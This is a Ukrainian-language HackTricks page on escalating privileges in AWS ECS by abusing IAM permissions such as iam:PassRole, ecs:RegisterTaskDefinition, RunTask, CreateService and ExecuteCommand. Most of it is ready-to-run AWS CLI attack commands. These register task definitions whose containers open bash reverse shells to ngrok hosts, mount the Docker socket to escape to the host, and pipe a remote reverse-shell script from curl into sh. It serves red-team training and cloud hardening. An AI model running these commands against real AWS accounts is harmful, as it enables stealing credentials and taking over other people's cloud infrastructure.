AWS - ECS Privesc

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

ECS

Додаткова інформація про ECS в:

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Атакуючи дозволи iam:PassRole, ecs:RegisterTaskDefinition та ecs:RunTask в ECS, зловмисник може створити нове визначення завдання з зловмисним контейнером, який вкраде метадані облікових даних та запустити його.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Потенційний вплив: Пряме підвищення привілеїв до іншої ролі ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask в ECS, може створити нове визначення завдання з зловісним контейнером, який вкраде метадані облікових даних та запустити його. Однак у цьому випадку потрібно мати екземпляр контейнера для запуску зловісного визначення завдання.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Точно так само, як у попередньому прикладі, зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService або ecs:CreateService в ECS, може створити нове визначення завдання з зловмисним контейнером, який викрадає метадані облікових даних та запустити його, створивши новий сервіс з принаймні 1 запущеним завданням.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Потенційний вплив: Пряме підвищення привілеїв для будь-якої ролі ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Цей сценарій схожий на попередні, але без дозволу iam:PassRole. Це все ще цікаво, оскільки якщо ви можете запустити довільний контейнер, навіть якщо це відбувається без ролі, ви можете запустити привілейований контейнер для виходу на вузол та вкрасти роль EC2 IAM та інші ролі контейнерів ECS, що працюють на вузлі. Ви навіть можете змусити інші завдання запускатися всередині екземпляра EC2, який ви скомпрометували, щоб вкрасти їх облікові дані (як обговорено в розділі Підвищення привілеїв до вузла).

Цей атака можлива лише у випадку, якщо кластер ECS використовує екземпляри EC2, а не Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Зловмисник з дозволами ecs:ExecuteCommand, ecs:DescribeTasks може виконувати команди всередині запущеного контейнера та витягати прикріплений до нього роль IAM (потрібні дозволи на опис, оскільки необхідно виконати aws ecs execute-command). Однак для цього екземпляр контейнера повинен запускати агент ExecuteCommand (який за замовчуванням відсутній).

Отже, зловмисник може спробувати:

  • Спробувати виконати команду в кожному запущеному контейнері

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Якщо у нього є ecs:RunTask, запустіть задачу за допомогою aws ecs run-task --enable-execute-command [...]

  • Якщо у нього є ecs:StartTask, запустіть задачу за допомогою aws ecs start-task --enable-execute-command [...]

  • Якщо у нього є ecs:CreateService, створіть сервіс за допомогою aws ecs create-service --enable-execute-command [...]

  • Якщо у нього є ecs:UpdateService, оновіть сервіс за допомогою aws ecs update-service --enable-execute-command [...]

Ви можете знайти приклади цих опцій в попередніх розділах ECS привілеїв.

Потенційний вплив: Підвищення привілеїв до іншої ролі, приєднаної до контейнерів.

ssm:StartSession

Перевірте на сторінці ssm привілеїв, як ви можете зловживати цим дозволом для підвищення привілеїв до ECS:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Перевірте на сторінці ec2 привілеїв, як ви можете зловживати цими дозволами для підвищення привілеїв до ECS:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб завдання виконувалися на машинах, керованих зловмисником??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Протестуйте це

Зловмисник з дозволами ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet та ecs:DescribeTaskSets може створити зловісний набір завдань для існуючого сервісу ECS та оновити основний набір завдань. Це дозволяє зловмиснику виконувати довільний код у межах сервісу.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Потенційний вплив: Виконання довільного коду в порушеній службі, що потенційно може вплинути на її функціональність або витік чутливих даних.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated